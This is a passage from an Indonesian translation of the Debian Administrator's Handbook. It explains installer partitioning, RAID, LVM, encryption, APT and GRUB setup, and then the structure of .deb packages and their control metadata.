Metode pertama di sebut "Seluruh berkas dalam satu partisi". Seluruh sistem Linux tersimpan dalam satu sistem berkas, sesuai dengan direktori root /. Pemartisian yang sederhana dan tangguh ini sangat cocok untuk sistem pribadi atau pengguna-tunggal. Kenyataannya, dua partisi akan dibuat: pertama sebagai tempat sistem lengkap, yang kedua memori virtual (swap).

Metode ketua, "Partisi /home terpisah", mirip, namun memecah hirarki berkas menjadi dua: satu partisi berisi sistem Linux (/), dan yang kedua berisi "direktori home" (maksudnya data pengguna, dalam berkas dan subdirektori tersedia di bawah /home/).

Metode pemartisian terakhir, disebut "Partisi /home, /var, dan /tmp terpisah", cocok untuk server dan sistem multi-pengguna. Itu membagi pohon berkas ke beberapa partisi: selain partisi (/) dan akun pengguna (/home/), juga memiliki partisi untuk data perangkat lunak server (/var/), dan berkas sementara (/tmp/). Pembagian ini memiliki beberapa keuntungan. Pengguna tidak dapat mengunci server dengan menggunakan seluruh ruang cakram keras yang tersedia (mereka hanya dapat memenuhi /tmp/ dan /home/). Data daemon (khususnya log) tidak lagi dapat menyumbat seluruh sistem.

KEMBALI KE DASAR Memilih sistem berkas

Sistem berkas menentukan bagaimana data diorganisasikan pada hard disk. Setiap sistem berkas yang ada memiliki kebaikan dan batasannya. Beberapa lebih tangguh, lainya lebih efisien: jika Anda memahami dengan baik keperluan Anda, memungkinkan memilih sistem berkas yang sesuai. Berbagai perbandingan telah dibuat; nampaknya ReiserFS sangat efisien untuk membaca banyak berkas kecil; XFS, pada gilirannya, bekerja lebih cepat dengan berkas besar. Ext4, sistem berkas bawaan Debian, ialah kompromi yang baik, berdasarkan ketiga versi sistem berkas sebelumnya yang secara historis digunakan di Linux (ext, ext2, dan ext3). Ext4 mengatasi batasan tertentu dari ext3 dan terutama sesuai untuk hard disk berkapasitas besar. Pilihan lain akan bereksperimen dengan btrfs yang sangat menjanjikan, yang menyertakan banyak fitur yang memerlukan, sampai hari ini, penggunaan LVM dan/atau RAID.

Sistem berkas berjurnal (seperti ext3, ext4, btrfs, reiserfs, atau xfs) mengambil tindakan khusus untuk memungkinkan kembali ke keadaan konsisten sebelumnya setelah tiba-tiba gangguan tanpa menganalisa seluruh cakram (sebagaimana kasus pada sistem berkas ext2). Fungsionalitas ini dilakukan dengan mengisi jurnal yang menjelaskan operasi sebelum untuk benar-benar mengeksekusinya. Jika operasi terganggu, akan mungkin untuk "memutar ulang" itu dari jurnal. Sebaliknya, jika terjadi gangguan selama pembaruan jurnal, perubahan terakhir yang diminta diabaikan; data yang ditulis bisa hilang, tapi karena data pada disk tidak berubah, mereka tetap koheren. Ini tidak lebih atau kurang dari mekanisme transaksional yang diterapkan pada sistem berkas.

Setelah memilih tipe partisi, perangkat lungak menghitung saran, dan menjelaskannya di layar; pengguna dapat memodifikasinya jika diperlukan. Terutama, Anda dapat memilih sistem berkas lainnya jika pilihan standar (ext4) tidak cocok. Namun dalam banyak kasus, partisi yang disarankan cukup layak dan dapat diterima dengan memilih entri "Selesai pemartisian dan tulis perubahan ke cakram".

Gambar 4.10. Memvalidasi pemartisian

4.2.13.2. Pemartisian Manual

Pemartisian manual memungkinkan fleksibilitas yang lebih, mengizinkan pengguna memilih tujuan dan ukuran setiap partisi. Lebih jauh, mode ini diharuskan jika Anda ingin menggunakan RAID perangkat lunak.

PRAKTEKNYA Mereduksi partisi Windows

Untuk menginstall Debian berdampingan dengan sistem operasi yang sudah ada (Windows atau lainnya), Anda harus memiliki sisa ruang kosong hard disk yang tidak sedang digunakan oleh sistem operasi lain agar dapat membuat partisi khusus untuk Debian. Dalam banyak kasus, ini artinya mengecilkan partisi Windows dan menggunakan ulang ruang yang dikosongkan.

Installer Debian mengizinkan operasi ini ketika menggunakan pemartisian mode manual. Anda hanya perlu memilih partisi Windows dan masukkan ukuran yang baru (berlaku sama untuk partisi tak terenkripsi FAT dan NTFS).

Jika Windows menggunakan partisi BitLocker yang dienkripsi, langkah untuk mengubah ukuran mereka perlu menggunakan Manajemen BitLocker bersama-sama dengan alat Manajemen Disk Windows.

Layar pertama menampilkan cakram yang tersedia, partisinya, dan kemungkinan ruang kosong yang belum dipartisi. Anda dapat memilih setiap elemen yang ditampilkan; menekan tombol Enter kemudian memunculkan daftar aksi yang mungkin.

Anda dapat menghapus seluruh partisi dengan memilihnya.

Ketika memilih ruang kosong di cakram, Anda dapat membuat partisi baru secara manual. Anda juga dapat melakukannya dengan pemartisian terpandu, yang merupakan solusi yang menarik untuk cakram yang telah berisi sistem operasi lain, namun Anda mungkin ingin memartisi untuk Linux dengan cara standar. Lihat Bagian 4.2.13.1, “Pemartisian terpandu” untuk penjelasan detail tentang pemartisian terpandu.

KEMBALI KE DASAR Titik kait

Titik kait ialah pohon direktori yang akan memuat konten sistem berkas pada partisi yang terpilih. Jadi, partisi yang dikaitkan pada /home/ secara tradisional bertujuan untuk menampung data pengguna.

Ketika direktori dinamai "/", disebut juga root dari pohon berkas, dan disanalah akar partisi yang sesungguhnya memuat sistem Debian.

KEMBALI KE DASAR Memori virtual, swap

Memori virtual mengizinkan kernel Linux, ketika kehabisan memori (RAM), untuk membebaskan ruangan dengan menyimpan bagian RAM yang telah tidak aktif selama beberapa waktu ke partisi swap di hard disk.

Untuk mensimulasikan memori tambahan, Windows menggunakan berkas swap yang secara langsung termuat pada sistem berkas. Sebaliknya, Linux menggunakan partisi khusus untuk tujuan tersebut, maka istilahnya "partisi swap".

Ketika memilih partisi, Anda dapat menentukan cara yang akan Anda gunakan padanya:

- memformat dan menyertakannya pada pohon berkas dengan memilih titik kait;

- menggunakannya sebagai partisi swap;

- membuatnya menjadi "volume fisik untuk dienkripsi" (untuk melindungi konfidensialitas data pada partisi tertentu, lihat di bawah ini);

- menjadikannya "volume fisik untuk LVM" (konsep ini dibahas jauh lebih detil nanti pada bab ini);

- menggunakannya sebagai perangkat RAID (lihat nanti di bab ini);

- Anda juga bisa memilih untuk tidak menggunakannya, dan karenanya biarkan tak diubah.

4.2.13.3. Mengonfigurasi Perangkat Multidisk (RAID Perangkat Lunak)

Beberapa tipe RAID mengizinkan duplikasi informasi yang tersimpan pada hard drive untuk menghindari kehilangan data ketika terjadi masalah perangkat keras yang memengaruhi salah satunya. RAID Level 1 menjaga suatu salinan identik (mirror) sebuah hard disk pada yang lainnya, sedangkan RAID level 5 membagi data redundan pada beberapa cakram, hal tersebut memungkinkan rekonstruksi lengkap pada drive yang gagal.

Kita hanya akan membahas RAID level 1, yang termudah untuk diimplementasikan. Langkah pertama melibatkan pembuatan dua partisi dengan ukuran sama pada dua hard drive yang berbeda, dan beri label "volume fisik untuk RAID".

Kemudian Anda perlu memilih "Mengonfigurasi RAID perangkat lunak" pada alat pemartisi untuk mengombinasikan kedua partisi ke dalam cakram virtual baru dan pilih "Buat peranti MD" pada layar konfigurasi. Kemudian Anda perlu menjawab beberapa pertanyaan tentang perangkat baru ini. Pertanyaan pertama menanyakan tentang level RAID yang digunakan, dalam kasus kita akan berupa "RAID1". Pertanyaan kedua tentang jumlah device (perangkat) yang aktif - dua dalam hal ini, yang merupakan jumlah partisi yang perlu disertakan dalam perangkat MD ini. Pertanyaan ketiga tentang jumlah perangkat cadangan - 0; kita tidak merencanakan untuk cakram tambahan untuk menangani kemungkinan kerusakan cakram. Pertanyaan terakhir Anda perlu memilih partisi untuk perangkat RAID - ini adalah dua yang telah kita sisihkan untuk tujuan ini (pastikan Anda hanya memilih partisi yang secara eksplisit menyebutkan "raid").

Kembali ke menu utama, muncul cakram virtual "RAID" yang baru. Cakram ini tersaji dengan sebuah partisi yang tidak dapat dihapus, tapi kegunaan apanya dapat kita pilih (seperti untuk partisi lainnya).

Untuk detail lebih jauh tentang fungsionalitas RAID, silahkan merujuk ke Bagian 12.1.1, “RAID Perangkat Lunak”.

4.2.13.4. Mengonfigurasi Logical Volume Manager (LVM)

LVM memungkinkan Anda untuk membuat partisi "virtual" yang merentang ke beberapa cakram. Kelebihannya ada dua: ukuran partisi tidak lagi dibatasi oleh cakram individual namun oleh volume kumulatif, dan Anda dapat mengubah ukuran partisi yang sudah ada kapanpun, mungkin setelah menambah cakram tambahan ketika diperlukan.

LVM menggunakan beberapa terminologi: partisi virtual ialah "volume lojik", bagian dari "grup volume", atau sebuah asosiasi beberapa "volumen fisik". Setiap terminologi ini bersesuaian dengan partisi "real" (atau sebuah peranti RAID perangkat lunak).

Teknik ini bekerja dengan cara sederhana: setiap volume, entah itu fisik atau lojik, dipecah menjadi blok-blok berukuran sama, yang dibuat sesuai oleh LVM. Penambahan cakram baru akan mengakibatkan pembuatan volumen fisik baru, dan blok baru ini dapat diasosiasikan pada beberapa grup volume. Seluruh partisi pada grup volume yang diperluas akan memiliki ruang tambahan yang dapat dipakai untuk memperbesar.

Alat pemartisi mengonfigurasi LVM dalam beberapa langkah. Pertama Anda harus membuat pada cakram yang ada, partisi yang akan menjadi "volume fisik untuk LVM". Untuk mengaktifkan LVM, Anda perlu memilih "Mengonfigurasi Logical Volume Manager (LVM)", kemudian pada layar konfigurasi yang sama "Buat group volume", yang akan diasosiasikan dengan volume fisik yang sudah ada. Akhirnya, Anda dapat membuat volume lojik dengan grup volume ini. Perhatikan bahwa sistem pemartisian otomatis dapat melakukan seluruh langkah ini secara otomatis.

Pada menu pemartisian, setiap volume fisik akan nampak sebagai cakram dengan satu partisi yang tidak dapat dihapus, namun dapat Anda gunakan sesuka Anda.

Penggunaan LVM dijelaskan lebih detail pada Bagian 12.1.2, “LVM”.

4.2.13.5. Menyiapkan Partisi Terenkripsi

Untuk menjamin kerahasiaan data Anda, misalnya ketika kehilangan atau pencurian komputer atau hard drive Anda, adalah mungkin untuk mengenkripsi data pada beberapa partisi. Fitur ini dapat ditambahkan di bawah beberapa sistem berkas, karena, seperti untuk LVM, Linux (dan khususnya penggerak dm-crypt) menggunakan Device Mapper untuk membuat partisi virtual (yang isinya diproteksi) berdasarkan pada partisi pokok yang akan menyimpan data dalam bentuk terenkripsi (terima kasih untuk LUKS, Linux Unified Key Setup, format standar yang memfungsikan penyimpanan data yang terenkripsi maupun informasi-meta yang menunjukkan algoritma enkripsi yang dipakai).

KEAMANAN Partisi swap terenkripsi

Ketika enkripsi partisi digunakan, kunci enkripsi tersimpan di memori (RAM). Karena pengambilan kunci memungkinkan dekripsi data, sangat penting untuk menghindari meninggalkan salinan kunci ini yang mungkin dapat diakses oleh pencuri komputer atau hard drive, atau teknisi pemeliharaan. Namun ini sesuatu yang sangat mudah terjadi dengan laptop, karena ketika hibernasi isi RAM tersimpan pada partisi swap. Jika partisi tidak terenkripsi, pencuri mungkin dapat mengakses kodenya dan menggunakannya untuk mendekripsi data dari partisi yang terenkripsi. Inilah mengapa, ketika Anda menggunakan partisi terenkripsi, sangat penting juga untuk mengenkripsi partisi swap!

Installer Debian akan memeringatkan pengguna jika mereka mencoba untuk membuat partisi terenkripsi namun partisi swap tidak dienkripsi.

Untuk membuat partisi terenkripsi, Anda harus menentukan partisi yang tersedia untuk tujuan ini. Untuk melakukannya, pilih partisi dan tunjukkan bahwa itu digunakan sebagai "volume fisik untuk enkripsi". Setelah mempartisi cakram yang memuat volume fisik yang akan dibuat, pilih "Konfigurasi volume terenkripsi". Perangkat lunak kemudian akan mengusulkan untuk menginisialisasi volume fisik dengan data acak (membuat pencarian lokasi data nyata menjadi lebih sulit), dan akan meminta Anda untuk memasukkan sebuah "frasa sandi enkripsi", yang harus Anda masukkan setiap Anda memboot komputer untuk mengakses isi dari partisi terenkripsi. Sekali langkah ini terlewati, dan Anda telah kembali pada menu alat pemartisian, partisi baru akan tersedia di "volume terenkripsi", yang kemudian dapat Anda konfigurasi seperti partisi lainnya. Dalam banyak kasus, partisi ini digunakan sebagai volume fisik untuk LVM agar melindungi beberapa partisi (volume lojik LVM) dengan kunci enkripsi yang sama, termasuk partisi swap (lihat bilah sisi KEAMANAN Partisi swap terenkripsi).

4.2.14. Menginstall Sistem Dasar

Langkah ini, yang tidak memerlukan interaksi pengguna, menginstal paket Debian "sistem dasar". Ini termasuk alat dpkg dan apt, yang mengelola paket Debian, maupun yang diperlukan untuk memboot sistem dan mulai menggunakannya.

Gambar 4.11. Menginstal sistem dasar

4.2.15. Mengonfigurasi Manajer Paket (apt)

Agar dapat menginstall paket perangkat lunak tambahan, APT perlu dikonfigurasi dan diberi tahu di mana mencari paket Debian. Langkah ini mungkin sebanyak mungkin terotomasi. Dimulai dengan pertanyaan apakah harus menggunakan sumber jaringan untuk paket, atau hanya mencari paket yang ada pada CD-ROM.

CATATAN CD-ROM Debian di drive

Jika installer mendeteksi cakram instalasi Debian pada pembaca CD/DVD, tidak perlu mengonfigurasi APT untuk mencari paket pada jaringan: APT secara otomatis dikonfigurasi untuk membaca paket dari drive media lepasan. Jika cakram adalah bagian dari kumpulan, perangkat lunak akan menawarkan untuk "menjelajah" cakram lain agar mereferensikan seluruh paket yang tersimpan di dalam mereka.

Jika diminta untuk mengambil paket dari jaringan, dua pertanyaan selanjutnya memungkinkan untuk memilih dari server mana mengunduh paket tersebut, pertama dengan memilih negara, kemudian cermin yang tersedia pada negara tersebut (sebuah cermin ialah salinan hosting server publik seluruh berkas arsip master Debian).

Gambar 4.12. Memilih mirror Debian

Akhirnya, program menawarkan untuk menggunakan proksi HTTP. Jika tidak ada proksi, akses Internet akan langsung. Jika Anda mengetik http://proxy.falcot.com:3128, APT akan menggunakan proxy/cache Falcot, sebuah program "Squid". Anda dapat menemukan pengaturan ini dengan memeriksa konfigurasi peramban web pada mesin lain yang terhubung pada jaringan yang sama.

Berkas Packages.xz dan Sources.xz kemudian diunduh secara otomatis untuk memerbarui daftar paket yang dikenali oleh APT.

KEMBALI KE DASAR Proksi HTTP

Proksi HTTP ialah server yang meneruskan permintaan HTTP untuk pengguna jaringan. Terkadang hal ini membantu memercepat unduhan dengan menyimpan salinan berkas yang telah ditransfer melaluinya (kemudian kita bicara tentang proksi/singgahan). Pada beberapa kasus, ini adalah satu-satunya cara mengakses sebuah web server eksternal; pada kasus seperti itu sangat perlu menjawab pertanyaan yang sesuai sepanjang instalasi program agar dapat mengunduh paket Debian melaluinya.

Squid ialah nama perangkat lunak server yang digunakan Falcot Corp untuk menawarkan layanan ini.

4.2.16. Paket Debian Kontes Popularitas

Sistem Debian berisi paket yang disebut popularity-contest, yang bertujuan untuk menyusun statistik penggunaan paket. Setiap minggu, program ini mengumpulkan informasi paket yang terinstall dan yang baru digunakan, dan mengirim informasi ini ke server Debian secara anonim. Proyek dapat menggunakan informasi ini untuk menentukan kepentingan relatif setiap paket, yang memengaruhi prioritas yang akan diberikan padanya. Khususnya paket yang paling "populer" akan disertakan pada CD-ROM instalasi, yang akan menfasilitasi akses mereka yang tidak ingin mengunduh atau membeli set lengkap.

Paket ini hanya diaktifkan ketika diminta, untuk menghargai kerahasiaan pemakaian pengguna.

4.2.17. Memilih Paket untuk Diinstal

Langkah selanjutnya mengizinkan Anda untuk memilih kegunaan mesin dalam istilah yang sangat luas; sepuluh task yang disarankan sesuai dengan daftar paket yang akan diinstal. Daftar paket yang akan diinstal akan disempurnakan dan dilengkapi kemudian, namun ini menyediakan permulaan yang bagus dalam cara yang sederhana.

Beberapa paket juga diinstall secara otomatis berdasarkan perangkat keras yang terdeteksi (terima kasih program discover-pkginstall dari paket discover).

Gambar 4.13. Pilihan tugas

4.2.18. Menginstal Bootloader GRUB

Bootloader ialah program pertama yang dimulai oleh BIOS. Program ini memuat kernel Linux ke dalam memori kemudian mengeksekusinya. Seringkali menawarkan menu yang meungkinkan pengguna untuk memilih kernel yang akan dimuat dan/atau sistem operasi yang akan di-boot.

HATI-HATI Bootloader dan dual boot

Pada fase ini instalasi Debian mendeteksi sistem operasi yang telah terinstall di komputer, dan secara otomatis menambahkannya pada menu boot, namun tidak semua program instalasi melakukan ini.

Khususnya, jika Anda menginstall (atau menginstall ulang) Windows setelah itu, bootloader akan dihapus. Debian masih akan di hard disk, namun tidak lagi dapat diakses dari menu boot. Anda kemudian harus memboot sistem instalasi Debian dalam mode rescue untuk mengatur bootloader kurang ekslusif. Operasi ini dijelaskan lebih detil pada manual instalasi.

→ https://www.debian.org/releases/stable/amd64/ch08s06

Secara bawaan, menu yang ditawarkan GRUB berisi seluruh kernel Linux yang terinstal, sebagaimana sistem operasi lainnya yang terdeteksi. Itulah mengapa Anda harus menerima tawaran untuk menginstalnya pada Master Boot Record. Karena memertahankan versi lama kernel menjaga kemampuan untuk memboot sistem yang sama jika kernel yang baru diinstall tidak sempurna atau adaptasi ke perangkat kerasnya buruk, seringkali masuk akal untuk membiarkan beberapa kernel versi lama terinstal.

GRUB ialah bootloader bawaan yang terinstall oleh Debian terima kasih untuk superioritas teknisnya: bekerja dengan kebanyakan sistem berkas dan tidak memerlukan perbaruan setiap kali instalasi kernel baru, karena dia membaca konfigurasinya ketika boot dan menemukan posisi yang tepat dari kernel baru. GRUB versi 1 (sekarang dikenal dengan "Grub Legacy") tidak dapat menangani seluruh kombinasi LVM dan perangkat lunak RAID; versi 2 diinstal sebagai bawaan, lebih lengkap. Mungkin masih ada situasi yang lebih direkomendasikan untuk menginstall LILO (bootloader lain); installer akan menyarankannya secara otomatis.

Perlu dicatat bahwa GRUB bukan bootloader tunggal, itu lebih seperti koleksi bootloader yang cocok untuk kasus yang berbeda-beda. Berbagai paket biner yang dibangun dari paket sumber GRUB mencerminkan bahwa: grub-efi-amd64 adalah untuk mem-boot PC 64-bit dalam mode UEFI, grub-efi-ia32 adalah untuk mem-boot PC 32-bit dalam mode UEFI, grub-pc untuk mem-boot PC dalam mode BIOS, grub-uboot untuk komputer ARM, dll.

Untuk informasi selengkapnya mengonfigurasi GRUB, silahkan merujuk ke Bagian 8.8.3, “Konfigurasi GRUB 2”.

KULTUR Boot Aman dan bootloader shim

Secure Boot adalah teknologi yang memastikan bahwa Anda menjalankan hanya perangkat lunak yang divalidasi oleh vendor sistem operasi Anda. Untuk mencapai pekerjaannya setiap elemen dari urutan boot memvalidasi komponen perangkat lunak berikutnya yang akan dieksekusi. Pada tingkat terdalam, firmware UEFI menyematkan kunci kriptografi yang disediakan oleh Microsoft untuk memeriksa tanda tangan bootloader, memastikan bahwa itu aman untuk dieksekusi. Karena mendapatkan biner yang ditandatangani oleh Microsoft adalah proses yang panjang, Debian memutuskan untuk tidak menandatangani GRUB secara langsung. Sebaliknya menggunakan bootloader perantara yang disebut shim, yang hampir tidak pernah perlu diubah, dan yang perannya adalah hanya memeriksa tanda tangan yang disediakan Debian pada GRUB dan mengeksekusi GRUB. Untuk menjalankan Debian pada mesin yang memiliki boot aman diaktifkan, Anda harus menginstall paket yang ditandatangani shim.

Ke bawah tumpukan, GRUB akan melakukan pemeriksaan serupa dengan kernel, dan kemudian kernel juga dapat memeriksa tanda tangan pada modul yang bisa dimuat. Kernel mungkin juga melarang beberapa operasi yang dapat mengubah integritas sistem.

Debian 10 adalah rilis pertama yang mendukung Secure Boot. Sebelumnya, Anda harus menonaktifkan fitur tersebut di layar pengaturan sistem yang ditawarkan oleh BIOS atau UEFI.

4.2.19. Menyelesaikan Instalasi dan Mem-boot Ulang

Instalasi sekarang selesai, program meminta Anda untuk melepaskan CD-ROM dari pembaca dan menyalakan ulang komputer.

4.3. Setelah Boot Pertama

Jika Anda mengaktifkan tugas "Lingkungan desktop Debian" tanpa pilihan desktop yang eksplisit (atau dengan pilihan "GNOME"), komputer akan menampilkan manajer login gdm3.

Gambar 4.14. Boot pertama

Pengguna yang telah dibuat kemudian dapat masuk dan mulai berkerja.

4.3.1. Menginstall Perangkat Lunak Tambahan

Paket terinstall menyesuaikan profil yang terpilih ketika instalasi, namun tidak selalu ke penggunaan yang akan dibuat atas mesin. Maka, Anda mungkin ingin menggunakan alat manajemen paket untuk mempertajam pilihan paket yang telah terinstall. Dua alat yang paling sering digunakan (yang terinstall jika profil "Lingkungan desktop Debian" telah dipilih) ialah apt (dapat diakses dari baris perintah) dan synaptic ("Synaptic Manajer Paket" di menu).

Untuk memfasilitasi instalasi kelompok program yang koheren, Debian membuat "tasks" yang didedikasikan untuk penggunaan khusus (server mail, server berkas, dll.). Anda telah memiliki kesempatan untuk memilihnya ketika instalasi, dan Anda dapat mengaksesnya lagi terima kasih pada alat manajemen paket seperti aptitude (tasks terdaftar pada bagian yang berbeda) dan synaptic (melalui menu Sunting → Tandai Paket dengan Task…).

Aptitude ialah antar muka ke APT dalam mode teks layar-penuh. Memungkinkan pengguna untuk menjelajah daftar paket yang tersedia berdasarkan berbagai kategori (paket terinstal atau tidak terinstal, berdasarkan tugas, pilihan, dll.), dan menampilkan seluruh informasi yang tersedia pada setiap dari mereka (ketergantungan, konflik, penjelasan, dll.). Setiap paket dapat ditandai "instal" (untuk diinstal, tombol +), atau "remove" (untuk dibuang, tombol -). Seluruh operasi ini dapat dilakukan secara simultan setelah Anda mengkonfirmasi dengan menekan tombol g ("g" untuk "go!"). Jika Anda lupa beberapa program, tidak usah khawatir, Anda akan dapat menjalankann aptitude lagi setelah instalasi tadi telah selesai.

TIP Debian memikirkan penutur selain bahasa Inggris

Beberapa tugas didedikasikan untuk pelokalan sistem dalam bahasa selain bahasa Inggris. Mereka menyertakan dokumentasi yang diterjemahkan, kamus, dan berbagai paket bahasa yang berguna untuk penutur yang berbeda bahasa. Tugas yang sesuai secara otomatis terpilih jika bahasa selain bahasa Inggris telah dipilih selama instalasi.

Tentu saja, memungkinkan untuk tidak memilih tugas apa pun untuk diinstall. Dalam kasus ini, Anda dapat menginstall secara manual perangkat lunak yang diinginkan dengan perintah apt atau aptitude (yang keduanya dapat diakses dari baris perintah).

KOSA KATA Ketergantungan paket, konlik

Dalam bahasa khas paket Debian, "ketergantungan" ialah paket lain yang diperlukan agar suatu paket dapat berfungsi dengan baik. Sebaliknya, "konflik" ialah paket yang tidak dapat diinstall berdampingan dengan paket lain.

Konsep ini dibahas lebih detil di Bab 5, Sistem Pemaketan: Alat dan Prinsip Dasar.

4.3.2. Meningkatkan Sistem

apt upgrade pertama (perintah yang digunakan untuk memperbarui program yang terinstal secara otomatis) umumnya diperlukan, terutama untuk memperbarui keamanan yang mungkin dikeluarkan sejak rilis versi stabil Debian terbaru. Pembaruan ini mungkin melibatkan beberapa pertanyaan tambahan melalui debconf, alat konfigurasi standar Debian. Untuk informasi lebih lanjut tentang pembaruan yang dilakukan oleh apt ini, silakan merujuk ke Bagian 6.2.3, “Pembaharuan Sistem”.

Bab 5. Sistem Pemaketan: Alat dan Prinsip Dasar

Sebagai administrator sistem Debian, Anda akan sering menangani paket .deb, mereka berisi unit fungsional yang konsisten (aplikasi, dokumentasi, dll.), yang instalasi dan perawatannya difasilitasi mereka. Oleh karena itu, ide bagus untuk mengentahui apa dan bagaimana menggunakannya.

Bab ini menjelaskan struktur dan isi paket “biner”dan “sumber”. Berkas pertama dapat digunakan secara langsung oleh dpkg, sedangkan yang kedua berisi kode sumber, maupun petunjuk untuk membuat paket biner.

5.1. Struktur Paket Biner

Format paket Debian didesain agar kontennya dapat diekstrak pada berbagai sistem Unix yang memiliki perintah klasik ar, tar, dan xz atau terkadang gzip or bzip2. Properti yang nampak sepele ini penting untuk kesesuaian dan pemulihan bencana.

Bayangkan, misalnya, Anda secara tidak sengaja menghapus program dpkg, dan karenanya Anda tidak dapat menginstall paket Debian lagi. dpkg yang juga merupakan paket Debian, maka tampaknya sistem Anda tamat... Untungnya, Anda tahu format suatu paket dan karenanya dapat mengunduh berkas .deb untuk paket dpkg dan memasangnya secara manual (lihat bilah sisi ALAT dpkg, APT dan ar). Jika sedang tak beruntung satu atau lebih dari program ar, tar, atau gzip/xz/bzip2 telah hilang, Anda hanya perlu menyalinnnya dari sistem lain (karena setiap program tersebut sepenuhnya bertindak secara sendiri-sendiri, tanpa ketergantungan, cukup dengan menyalinnya). Bila sistem Anda mengalami kemalangan yang luar biasa, dan bahkan ini tidak berjalan (mungkin karena pustaka sistem terdalam hilang?), Anda perlu mencoba versi statik dari busybox (disediakan di dalam paket busybox-static), yang bahkan lebih mandiri, dan menyediakan sub perintah seperti busybox ar, busybox tar, dan busybox xz.

Jika terjadi masalah, Anda sebaiknya juga memiliki cadangan dari sistem Anda (lihat Bagian 9.10, “Cadangan”).

ALAT dpkg, APT dan ar

dpkg ialah program yang menangani berkas .deb (paket-paket biner), khususnya mengekstrak, menganalisa, dan membongkarnya.

APT (singkatan dari "Advanced Packaging Tool") ialah kelompok program yang mengizinkan eksekusi modifikasi level-tinggi pada sistem: menginstall atau membuang paket (juga menjaga terpenuhinya ketergantungan), meng-update sistem, mendaftar paket yang tersedia, dll.

Adapun program ar, mengizinkan penanganan berkas dengan nama yang sama: ar t arsip menampilkan daftar berkas yang berada pada sebuah arsip, ar x arsip mengekstrak berkas dari arsip ke lokasi direktori saat ini, ar d arsip berkas menghapus berkas dari arsip, dll. Man page-nya (ar(1)) mendokumentasikan seluruh fitur-fiturnya. ar adalah alat dasar yang jarang digunakan oleh administrator Unix, namun admin sering menggunakan tar, program arsip dan pengelola berkas yang lebih dikembangkan. Itulah mengapa mudah untuk mengembalikan dpkg saat terjadi kesalahan penghapusan. Anda hanya perlu mengunduh paket Debian dan mengekstrak kontennya dari arsip data.tar.xz ke root sistem (/):

# ar x dpkg_1.19.7_amd64.deb

# tar -C / -p -xJf data.tar.xz

KEMBALI KE DASAR Notasi man page

Mungkin membingungkan bagi pemula untuk menemukan referensi “ar(1)” pada literatur tersebut. Umumnya maksud kesesuaiannya merujuk pada man page yang berjudul ar pada bagian 1.

Terkadang notasi ini juga digunakan untuk menghilangkan ambiguasi, sebagai contoh perbedaan antara perintah printf yang juga dapat ditujukkan oleh printf(1) dan fungsi printf pada bahasa pemrograman C, yang dapat direferensikan sebagai printf(3).

Bab 7, Memecahkan Masalah dan Menemukan Informasi yang Relevan membahas halaman manual pada detail yang lebih jauh (lihat Bagian 7.1.1, “Halaman Manual”).

Lihatlah isi berkas .deb:

$ ar t dpkg_1.19.7_amd64.deb

debian-binary

control.tar.gz

data.tar.xz

$ ar x dpkg_1.19.7_amd64.deb

$ ls

control.tar.gz  data.tar.xz  debian-binary  dpkg_1.19.7_amd64.deb

$ tar tJf data.tar.xz | head -n 16

./

./

./etc/

./etc/alternatives/

./etc/alternatives/README

./etc/cron.daily/

./etc/cron.daily/dpkg

./etc/dpkg/

./etc/dpkg/dpkg.cfg

./etc/dpkg/dpkg.cfg.d/

./etc/logrotate.d/

./etc/logrotate.d/alternatives

./etc/logrotate.d/dpkg

./sbin/

./sbin/start-stop-daemon

./usr/

./usr/bin/

$ tar tJf control.tar.xz

./

./conffiles

./control

./md5sums

./postinst

./postrm

$ cat debian-binary

2.0

Seperti yang dapat Anda lihat, arsip ar pada paket Debian mengompres tiga berkas:

debian-binary

Ini adalah berkas teks yang sekedar mengindikasikan versi format paket berkas .deb. Dalam Debian Buster itu masih versi 2.0.

control.tar.xz

Arsip ini berisi seluruh informasi-meta yang tersedia, seperti nama dan versi paket, maupun beberapa skrip yang akan dijalankan sebelum, selama, atau setelah instalasi/membongkar. Beberapa informasi-meta ini memungkinkan alat manajemen paket untuk menentukan apakah mungkin untuk menginstall atau menguninstallnya, contohnya berdasarkan daftar paket yang telah ada di mesin, dan apakah berkas yang dipasang telah dimodifikasi secara lokal.

data.tar.xz, data.tar.bz2, data.tar.gz

Arsip ini berisi semua berkas yang akan diekstrak dari paket; dimana berkas executable, dokumentasi, dll., tersimpan. Paket mungkin menggunakan format kompresi yang lain, yang dalam hal tersebut berkas akan diberi nama yang berbeda xz, bzip2, atau gzip.

5.2. Informasi-Meta Paket

Paket Debian bukan hanya sebuah arsip dari berkas yang dimaksudkan untuk instalasi. Merupakan bagian dari keseluruhan yang lebih besar dan menjelaskan hubungannya dengan paket Debian lainnya (mempersyaratkan, ketergantungan, konflik, saran). Itu juga menyediakan skrip-skrip yang mengeksekusi perintah pada tahap-tahap berbeda dalam siklus hidup paket (instalasi, peningkatan, penghapusan). Data ini digunakan oleh alat manajer paket tapi bukan bagian dari paket perangkat lunak; mereka, di dalam paket, adalah yang disebut "informasi meta" (informasi tentang informasi lain).

5.2.1. Penjelasan: Berkas control

Berkas ini menggunakan struktur yang mirip dengan header surel (sebagaimana didefinisikan oleh RFC 2822) dan sepenuhnya dijelaskan dalam Kebijakan Debian dan halaman manual deb-control(5) dan deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

Contohnya, untuk apt, berkas control nampak sebagai berikut:

$ apt-cache show apt

Package: apt

Version: 1.8.2

Installed-Size: 4064

Maintainer: APT Development Team <deity@lists.debian.org>

Architecture: amd64

Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~)

Provides: apt-transport-https (= 1.8.2)

Depends: adduser, gpgv | gpgv2 | gpgv1, debian-archive-keyring, libapt-pkg5.0 (>= 1.7.0~alpha3~), libc6 (>= 2.15), libgcc1 (>= 1:3.0), libgnutls30 (>= 3.6.6), libseccomp2 (>= 1.0.1), libstdc++6 (>= 5.2)

Recommends: ca-certificates

Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base

Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10)

Description-en: commandline package manager

This package provides commandline tools for searching and

managing as well as querying information about packages

as a low-level access to all features of the libapt-pkg library.

.

These include:

* apt-get for retrieval of packages and information about them

from authenticated sources and for installation, upgrade and

removal of packages together with their dependencies

* apt-cache for querying available information about installed

as well as installable packages

* apt-cdrom to use removable media as a source for packages

* apt-config as an interface to the configuration settings

* apt-key as an interface to manage authentication keys

Description-md5: 9fb97a88cb7383934ef963352b53b4a7

Tag: admin::package-management, devel::lang:ruby, hardware::storage,

